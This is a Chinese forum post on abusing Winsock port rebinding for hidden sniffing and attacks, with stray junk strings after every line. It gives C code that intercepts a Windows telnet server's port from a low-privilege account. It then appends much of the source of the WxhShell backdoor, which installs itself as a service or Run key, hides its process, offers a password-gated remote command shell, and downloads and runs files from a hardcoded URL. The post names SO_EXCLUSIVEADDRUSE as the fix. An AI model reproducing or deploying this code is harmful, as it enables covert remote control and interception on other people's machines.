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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?>$l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !E2W\chi  
B4h5[fPX  
  saddr.sin_family = AF_INET; o.m:3!RW  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); k()$:-V  
;AX8aw,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j+rG7z){K  
r^0F"9eOL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yVX8e I  
d%_OT0Ei  
  这意味着什么?意味着可以进行如下的攻击: 7B7&9<gc  
w(9*7pp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ",yc0 2<  
`JB?c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q_V0+qH  
oDn|2Sdqd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v+G=E2Lhv  
;Hmp f0$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L\%orLEmK  
0hY{<^"Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v6GPS1:a  
i#/]KsSp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W3H+.E  
HCWNo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y}s@WJ  
S >yLqPp  
  #include [sF(#Y:I  
  #include G2Vv i[c  
  #include M|,mr~rRG  
  #include    58 bCUh#uw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @-HG`c ct  
  int main() pav'1d%  
  { rHjq1-t  
  WORD wVersionRequested; FAsFjRS  
  DWORD ret; rV6/Tdy  
  WSADATA wsaData; gw36Ec<M  
  BOOL val; /w(e  
  SOCKADDR_IN saddr; q_kdCO{:df  
  SOCKADDR_IN scaddr; t]aea*B  
  int err; qIIJ4n  
  SOCKET s; 8CbXMT  
  SOCKET sc; F@ Swe  
  int caddsize; (wRgus  
  HANDLE mt; S35~Cp  
  DWORD tid;   .8(OT./  
  wVersionRequested = MAKEWORD( 2, 2 ); 7 aV%=_  
  err = WSAStartup( wVersionRequested, &wsaData ); <-'$~G j  
  if ( err != 0 ) { >J9oH=S6  
  printf("error!WSAStartup failed!\n"); }%7 NF*  
  return -1; #Tw@wfaq)  
  } SAY LG  
  saddr.sin_family = AF_INET; ZJPmR/OV_  
   ^D%FX!$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ziPR>iz-  
",6M)3{|c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); km~Ll   
  saddr.sin_port = htons(23); br-]fE.be  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2i;7{7  
  { Ae]sGU|?'  
  printf("error!socket failed!\n"); 7x);x/#8Z  
  return -1; =X\^J  
  } ,R%q}IH#  
  val = TRUE;  ]^'@ [<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [e[<p\]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I9h ?;(  
  { $odso;Hn  
  printf("error!setsockopt failed!\n"); LUB${0BrA  
  return -1; y!tC20Q   
  } KlRr8 G!Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h/?l4iR*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;X*cCb`h   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ) e5 @  
wLK07e(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (e(:P~Ry  
  { A,sr[Pa@  
  ret=GetLastError(); V|(H|9  
  printf("error!bind failed!\n"); 8J$|NYv_b  
  return -1; #@<9S{F  
  } [8tL"G6s  
  listen(s,2); jC bV,0)^  
  while(1) _SW3_8SuM.  
  { ;rc`OZyE  
  caddsize = sizeof(scaddr); C8 \5A8c  
  //接受连接请求 Zm6{n '  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _ODbY;M  
  if(sc!=INVALID_SOCKET) X}+>!%W!}  
  { 3EJt%}V$k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i3rH'B -I.  
  if(mt==NULL) hjZKUM G(k  
  { !1e6Ss  
  printf("Thread Creat Failed!\n"); vZ.x{"n'~  
  break; ;L']e"G  
  } BD(Z5+EU1  
  } 'Lu__NfN  
  CloseHandle(mt); ")d`dj\o  
  } ]]zPq<b2  
  closesocket(s); ,7<f9 EVY  
  WSACleanup(); @Y1s$,=xB  
  return 0; 7(pF[LCF  
  }   V4_=<W  
  DWORD WINAPI ClientThread(LPVOID lpParam) q FAT]{{  
  { euC&0Ee2  
  SOCKET ss = (SOCKET)lpParam; D8$G`~hD  
  SOCKET sc; x QIq^/F0  
  unsigned char buf[4096]; )ubiB^g'm  
  SOCKADDR_IN saddr; MdvcnaCG  
  long num; k |eBJ%  
  DWORD val; 2AMo:Jqv  
  DWORD ret; u:=7l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *{L)dW+:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H!$o$}A  
  saddr.sin_family = AF_INET; #w' kV#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [Al&  
  saddr.sin_port = htons(23);  iKT[=c  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T\D}kQM  
  { ,^2>k3=  
  printf("error!socket failed!\n"); "thdPZ  
  return -1; Eea*s'  
  } Dy:|g1>  
  val = 100; FY#C.mL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5yP\I+Fm  
  { )v.=jup[  
  ret = GetLastError(); MB]<Dyj,  
  return -1; 8|\8O@  
  } a6uJYhS~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |>dI/_'  
  { =w{Z@S(ukz  
  ret = GetLastError(); vkri+:S3  
  return -1; lE4HM$p   
  } _sTROd)Vh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )8$=C#qC[  
  { ^G}47(  
  printf("error!socket connect failed!\n"); rR(X9i  
  closesocket(sc); % ~H=sjg  
  closesocket(ss); iMDM1}b  
  return -1; ~kEI4}O  
  } uFinv2Z '  
  while(1) |R/%D%_g  
  { A;]}m8(*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1=d6NX)B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #Up86(Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 62ws/8d6f  
  num = recv(ss,buf,4096,0); |xdsl,  
  if(num>0) k@k&}N0{  
  send(sc,buf,num,0); `T5W}p[6  
  else if(num==0) ]1#e#M]#  
  break; paCV!tP  
  num = recv(sc,buf,4096,0); %z,m B$LY  
  if(num>0) rWR}Stc@]  
  send(ss,buf,num,0); x"~8*V'0  
  else if(num==0) qKr8)}h  
  break; o<pf#tifv  
  }  +|n*b  
  closesocket(ss); JR@`2YP-  
  closesocket(sc); l)1r+@) \  
  return 0 ; /rnu<Q#iH  
  } E/|To  
l 3ko?k  
-z)n?(pftm  
========================================================== 8c9*\S  
_x(o*v[Pt  
下边附上一个代码,,WXhSHELL __G?0*3G  
&m)6J'q3k  
========================================================== )<h*eS{  
R6;=n"Ueb  
#include "stdafx.h" P2#XKG  
K8GP@yD]M  
#include <stdio.h> nxnv,AZG  
#include <string.h> <7/R,\Wg~  
#include <windows.h> 7QiIiWqIWC  
#include <winsock2.h> \/zq7j  
#include <winsvc.h> / F4zg3  
#include <urlmon.h> e> e}vZlX  
!>..Q)z  
#pragma comment (lib, "Ws2_32.lib") @tNzQ8  
#pragma comment (lib, "urlmon.lib") k@RDvn  
8]/bK5`  
#define MAX_USER   100 // 最大客户端连接数 '7hu 2i5  
#define BUF_SOCK   200 // sock buffer yerg=,$_i  
#define KEY_BUFF   255 // 输入 buffer 0zmE>/O+  
Z>:NPZODf  
#define REBOOT     0   // 重启 `yrB->|vG  
#define SHUTDOWN   1   // 关机 xr4 *{v  
?PeJlpYzV  
#define DEF_PORT   5000 // 监听端口 s >7}zU]  
"O3tq =Q  
#define REG_LEN     16   // 注册表键长度 vWz m @  
#define SVC_LEN     80   // NT服务名长度 ` Mjj@[  
S"NqM[W  
// 从dll定义API I_} SB|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tdBm (CsN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N +Yxz;Mg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y" RF;KW>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $p#Bi-&  
@\0ez<.p}  
// wxhshell配置信息 bnf'4PAt  
struct WSCFG { /?5 1D@  
  int ws_port;         // 监听端口 IA8f*]?  
  char ws_passstr[REG_LEN]; // 口令 U)fc*s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Rr&h!YMb  
  char ws_regname[REG_LEN]; // 注册表键名 }~e8e   
  char ws_svcname[REG_LEN]; // 服务名 ,<(}|go   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5Dm.K?l;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >%}C^gu)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6m* QX+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3]}D`Qs6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" % ?0:vn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @vC4[:"pD}  
N7b8m?!  
}; Xv ]W(f1  
3% #3iZ=_  
// default Wxhshell configuration nv*FT  
struct WSCFG wscfg={DEF_PORT, +rd|A|hRq  
    "xuhuanlingzhe", vyNxT*,[K  
    1, sBj(Qd  
    "Wxhshell", _hAcJ{Y  
    "Wxhshell", 8]M;T>n[  
            "WxhShell Service", SYAyk  
    "Wrsky Windows CmdShell Service", Pr':51(  
    "Please Input Your Password: ", a!6{:8Zi0  
  1, deBY5|  
  "http://www.wrsky.com/wxhshell.exe", wN_Vfb  
  "Wxhshell.exe" 9UdM`v)(  
    }; rK'L6o  
EH+"~-v)ae  
// 消息定义模块 u^@f&BIG]:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }eCw6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H%qsjB^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1gL2ia  
char *msg_ws_ext="\n\rExit."; "jeb%k  
char *msg_ws_end="\n\rQuit."; j/323Za+  
char *msg_ws_boot="\n\rReboot..."; Vz~{UHH6  
char *msg_ws_poff="\n\rShutdown..."; ?8npG]L)  
char *msg_ws_down="\n\rSave to "; tU}h~&M  
UdT *E: 6  
char *msg_ws_err="\n\rErr!"; %a>&5V  
char *msg_ws_ok="\n\rOK!"; g1/:Q%R,  
l%k\JY-  
char ExeFile[MAX_PATH]; 7OcW C-<  
int nUser = 0; E:UW#S%A f  
HANDLE handles[MAX_USER]; fiK6@,  
int OsIsNt; orzZ{87  
>,V9H$n  
SERVICE_STATUS       serviceStatus; x|/|jzJSX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >N^Jj:~l  
=MQoC:l  
// 函数声明 a#cCpE  
int Install(void); %P;lv*v.  
int Uninstall(void); 7Haa;2 T'  
int DownloadFile(char *sURL, SOCKET wsh); F&4rO\aC"/  
int Boot(int flag); >:74%D0UF  
void HideProc(void); [owWiN4`s  
int GetOsVer(void); g!g#]9j  
int Wxhshell(SOCKET wsl); jD$,.AVvz  
void TalkWithClient(void *cs); |^&b8  
int CmdShell(SOCKET sock); ?&8^&brwG  
int StartFromService(void); ],@rS9K  
int StartWxhshell(LPSTR lpCmdLine); C)[,4wt,  
xgwY@'GN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b1(T4w6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >!eAM )  
[^WC lRF  
// 数据结构和表定义 Fco`^kql.D  
SERVICE_TABLE_ENTRY DispatchTable[] = %f&/E"M  
{ K0u|U`   
{wscfg.ws_svcname, NTServiceMain}, ,;EIh}  
{NULL, NULL}  :|>h7v  
}; v,FU^f-'  
0M_ DB=  
// 自我安装 3 ]5^r}  
int Install(void) g;H=6JeG/  
{ t|w_i-&b,  
  char svExeFile[MAX_PATH]; Km qMFB62  
  HKEY key; m( r,Acy6  
  strcpy(svExeFile,ExeFile); =:xW>@bh|  
+%+tr*04O  
// 如果是win9x系统,修改注册表设为自启动 KoOz#,()  
if(!OsIsNt) { l.q&D< _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vLv@&lMW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kjTduZ/3 "  
  RegCloseKey(key); {DV_* 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UFXaEl}R   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B{QBzx1L9c  
  RegCloseKey(key); %6|nb:Oa  
  return 0; 5MroNr  
    } H9'$C/w  
  } 8H%;WU9-  
} iN bIp"W  
else { =2`[&  
vNyf64)  
// 如果是NT以上系统,安装为系统服务 D>`xzt'.6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iowTLq!?  
if (schSCManager!=0) Gj1&tjK  
{ C'>|J9~Gz  
  SC_HANDLE schService = CreateService !S$:*5=&  
  ( 8v:T.o;<  
  schSCManager, 3U<cWl@  
  wscfg.ws_svcname, e),q0%5  
  wscfg.ws_svcdisp, ahJ`T*)HY  
  SERVICE_ALL_ACCESS, !8TlD-ZT/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MUaq7B_>  
  SERVICE_AUTO_START, +Zb;Vn4  
  SERVICE_ERROR_NORMAL, (of#(I[m7  
  svExeFile, qrb[-|ie&  
  NULL, T-'OwCB1q  
  NULL, )MtF23k)g  
  NULL, P@,XEQRd`  
  NULL, 4-l 8,@9  
  NULL $jjfC  
  ); p\Q5,eg  
  if (schService!=0) W/=.@JjI  
  { ayn)5q/z  
  CloseServiceHandle(schService); :">!r.Q  
  CloseServiceHandle(schSCManager); Uf1!qP/H?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T(#J_Y  
  strcat(svExeFile,wscfg.ws_svcname); R}-(cc%5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4zXFuTr($  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d?y4GkK  
  RegCloseKey(key); 3(="YbZ  
  return 0; ?qmRbDI  
    } "H=6j)Cb  
  } Lz |? ek7Q  
  CloseServiceHandle(schSCManager); 1XrO~W\=  
} e2AX0(  
} _?-E7:Sw  
j@AIK+0Qc  
return 1; 5GI,o|[s6  
} oK9( /v  
> $O]Eu!  
// 自我卸载 U&g@.,Y#  
int Uninstall(void) $POu\TO  
{ Q0)#8Rcm  
  HKEY key; oTEL?hw5  
4svBzZdr  
if(!OsIsNt) { HCIU!4rH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _mj,u64  
  RegDeleteValue(key,wscfg.ws_regname); 7!$Q;A  
  RegCloseKey(key); WQx?[tW(U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TtK[nP  
  RegDeleteValue(key,wscfg.ws_regname); ~Zun&b)S  
  RegCloseKey(key); 5-FQMXgThc  
  return 0; ;nI] !g:  
  } F3y9@dA]  
} /,BD#|  
} zUt' QH7E.  
else { EB0TTJR?#  
AgWa{.`f:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _F4Ii-6  
if (schSCManager!=0) +=>,Pto<  
{ M=8.Bp|Ye  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZFi ee|,q  
  if (schService!=0) e+=y*OmQ  
  { ,L|%"K]yM  
  if(DeleteService(schService)!=0) { f- K+]aZ)  
  CloseServiceHandle(schService); @#l `iK  
  CloseServiceHandle(schSCManager); w_aknt T  
  return 0; \q>bs|2  
  } DRSr%d  
  CloseServiceHandle(schService); -zCH**y%1  
  } w0[6t#$F  
  CloseServiceHandle(schSCManager); ZFA`s qT  
} t0( A4E  
} `:ArT}F  
X1:V<,}"  
return 1; 0XOp3  
} C0sX gM  
b}2ED9HG\  
// 从指定url下载文件 g!|=%(G=  
int DownloadFile(char *sURL, SOCKET wsh) JL`-0P<M  
{ kPKB|kP\  
  HRESULT hr; L{#IT.  
char seps[]= "/"; ; 8_{e3s  
char *token; <h!_>:2L  
char *file; `oAW7q)~  
char myURL[MAX_PATH]; cA&9e<  
char myFILE[MAX_PATH]; n#cC+>*>+  
d .[8c=$  
strcpy(myURL,sURL); l.(v^3:X  
  token=strtok(myURL,seps); _1!7V3|^  
  while(token!=NULL) ?'IP4z;y  
  { *~2,/D  
    file=token; jxP;>K7O  
  token=strtok(NULL,seps); j9m_jv  
  } _;W.q7 b]  
ay4 %  
GetCurrentDirectory(MAX_PATH,myFILE); u/UrAqw  
strcat(myFILE, "\\"); Z/G ev"p  
strcat(myFILE, file); >R|/M`<ph  
  send(wsh,myFILE,strlen(myFILE),0); 3t.l5m Rg5  
send(wsh,"...",3,0); +[Dx?XM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CVDV)#JA  
  if(hr==S_OK) LmRy1T,act  
return 0; We)xB  
else )i6mzzj5  
return 1; 6 [k\@&V-  
\h+AXs<j  
} =WyDp97@+  
+|*IZ:w)  
// 系统电源模块 <:_wbVn-  
int Boot(int flag) 1kz\IQ{  
{ )z>|4@,  
  HANDLE hToken; Qo>b*Ku;  
  TOKEN_PRIVILEGES tkp; @<,X0S  
x-XD.qh7Hr  
  if(OsIsNt) { Z~GL5]S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -<6\1J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); } j<)L,  
    tkp.PrivilegeCount = 1; __uA}f Zp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Celc#v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  Ii6<b6-  
if(flag==REBOOT) { AWcLUe{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5sdn[Tt##  
  return 0; 4"GR] X  
} W,D4.w$@'  
else { Ig$(3p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?llXd4  
  return 0; i|c'Lbre`  
} U1Q:= yD  
  } rUTcpGH  
  else { }pDqe;a{  
if(flag==REBOOT) { XWDL5K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ltv]pH}YN  
  return 0; \Bz_p'[G  
} Y21g{$~Q{  
else { AW%50V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [<7@{;r  
  return 0; Y2|#V#  
} 3s5z UT;  
} RPwbTAl}  
C,wL0Yj[  
return 1; 0;hqIJcE:\  
} >f^r^P  
Y1L[;)Hn  
// win9x进程隐藏模块 Uq[>_"}  
void HideProc(void) 9 *xR6  
{ GC<l#3+  
XND|h#i8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PvzcEV  
  if ( hKernel != NULL ) 9Q.rMs>qj  
  { S O4u9V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dW)B1iUo!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2$9odD<r  
    FreeLibrary(hKernel); Ac96 [  
  } )(A]Ln4  
*jLJcb*.Ap  
return; tI]Q%S,  
} RW|`nL  
9"NF/)_  
// 获取操作系统版本 yZ @"\Z!  
int GetOsVer(void) -O1>|y2rU  
{ au N6prGe  
  OSVERSIONINFO winfo; ,bXe<L)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }bs+-K  
  GetVersionEx(&winfo); YA''2Ii  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Az9?Ra;U  
  return 1; Gp1?iX?ml  
  else 1!ii;s^e  
  return 0; R"4Vtww  
} 1=r#d-\tR  
4Fa~Aog  
// 客户端句柄模块 R}'bP  
int Wxhshell(SOCKET wsl)  R(!s  
{ UXeN8  
  SOCKET wsh; ;"KJ7p  
  struct sockaddr_in client; mkMq  
  DWORD myID; @u.58H& }R  
WeJl4wF  
  while(nUser<MAX_USER) ` w=>I  
{ cT<1V!L4  
  int nSize=sizeof(client); %huRsQ %}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Um( h-;  
  if(wsh==INVALID_SOCKET) return 1; *e<[SZzYZ  
G(Lzf(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o#;b  
if(handles[nUser]==0) t,QyfN  
  closesocket(wsh); DD7h^-x  
else $g@=Z"  
  nUser++; xRJ\E }/7  
  } ;t'5},(FP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,qA(\[  
^.1)};i  
  return 0; uya.sF0]9B  
} ;l4[%xld  
bmJ5MF]_fG  
// 关闭 socket _|iSF2f,X  
void CloseIt(SOCKET wsh) KmMzH`t}`  
{ 1=t>HQ  
closesocket(wsh); 6{x(.=  
nUser--; ,kF1T,  
ExitThread(0); C.~,qmOP  
} Vdtry @Q  
#eQJEajv5  
// 客户端请求句柄 f) znTJL  
void TalkWithClient(void *cs) N|1M1EBOu>  
{ QU4h8}$  
#J@[Wd  
  SOCKET wsh=(SOCKET)cs; s2teym,uG  
  char pwd[SVC_LEN]; h xSKG  
  char cmd[KEY_BUFF]; :S.9eFfa  
char chr[1]; (XeE2l2M  
int i,j; LyZ.l*h%=m  
Mx&&0#;r  
  while (nUser < MAX_USER) { t'VV>;-RO=  
YHkn2]^#A  
if(wscfg.ws_passstr) { n\QgOSr<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |h-QP#]/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Z~p%C<LW  
  //ZeroMemory(pwd,KEY_BUFF); Z?}dq-Vh&  
      i=0; 0vFD3}~>  
  while(i<SVC_LEN) { FQm`~rA~zt  
>go,K{cK6  
  // 设置超时 7"aN#;&  
  fd_set FdRead; 4\y/'`xm)6  
  struct timeval TimeOut; SFO({w(  
  FD_ZERO(&FdRead); D'7SAFOM  
  FD_SET(wsh,&FdRead); E7NV ^4h  
  TimeOut.tv_sec=8; }0eF~>Df  
  TimeOut.tv_usec=0; y6LWx:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lH-/L(h2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i8`Vv7LF  
?$vCW|f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ OM7g'?S0  
  pwd=chr[0]; rv &<{@AS~  
  if(chr[0]==0xd || chr[0]==0xa) { e]`[yf  
  pwd=0; G.rrv  
  break; yXz*5W_0D  
  } P=7zs;k  
  i++; @$lG@I,[  
    } <PapskO>  
8s"%u )  
  // 如果是非法用户,关闭 socket "*m_> IU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uZM{BgXXD  
} 4NGA/ G  
fhar&\;S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Nvjl~o5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6""G,"B  
:QpuO1Gu  
while(1) { ^?U!pq -`  
q ]M+/sl  
  ZeroMemory(cmd,KEY_BUFF); i'4B3  
J!0DR4=Xi  
      // 自动支持客户端 telnet标准   s@9vY\5[9  
  j=0; #i@;J]x(  
  while(j<KEY_BUFF) { gGr^@=;YC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |k+8<\  
  cmd[j]=chr[0]; ?,p;O  
  if(chr[0]==0xa || chr[0]==0xd) { +,2:g}5  
  cmd[j]=0; )T';qm0w  
  break; RM K"o?  
  } eb.O#Y  
  j++; 3x5JFM  
    } [baiH|5>  
!+1<E*NQ S  
  // 下载文件 uZc`jNc\  
  if(strstr(cmd,"http://")) { .l>77zM6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #z&& M"*a|  
  if(DownloadFile(cmd,wsh)) X*M#FT-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |kw)KEi}H  
  else M*z~gOZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U@gn;@\  
  } d\p,2  
  else { ;gBRCZ  
0*rQ3Z  
    switch(cmd[0]) { .$Ik`[+Z  
  (&}i`}v_  
  // 帮助 ,a gc  
  case '?': { !_`&Wks  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4#ug]X4Y')  
    break; <\Eh1[F  
  } 'ixwD^x  
  // 安装 {XNREjhm  
  case 'i': { hJn%mdx~w|  
    if(Install()) crqpV F]1]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :A1{d?B  
    else Qy.w=80kf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "5-^l.CKH  
    break; V^JV4 `o  
    } 6I1,:nLL<  
  // 卸载 iMIlZ  
  case 'r': { ]vgB4~4#LP  
    if(Uninstall()) ;ado0-VQi'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u;#g  
    else qR(\5}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (IC]?n}  
    break; <<(wa j  
    } "SzdDY6  
  // 显示 wxhshell 所在路径 8S%52W|  
  case 'p': { MZlk0o2  
    char svExeFile[MAX_PATH]; BnCbon)  
    strcpy(svExeFile,"\n\r"); .C&ktU4  
      strcat(svExeFile,ExeFile); SF&BbjBE0  
        send(wsh,svExeFile,strlen(svExeFile),0); Kz>3 ic$I  
    break; gUxP>hB  
    } ? i( %  
  // 重启 ]Bm/eRy"  
  case 'b': { ?mWw@6G,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q8^^H$<Db  
    if(Boot(REBOOT)) %F!1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jgbLN/_{  
    else { G>wqt@%r9  
    closesocket(wsh); twP,cyR  
    ExitThread(0); Fb^:V4<T  
    } RnhL< Ywu  
    break; ,_yh z0.  
    } /x5rf  
  // 关机 VCn{mp*h  
  case 'd': { LM}Ib.  
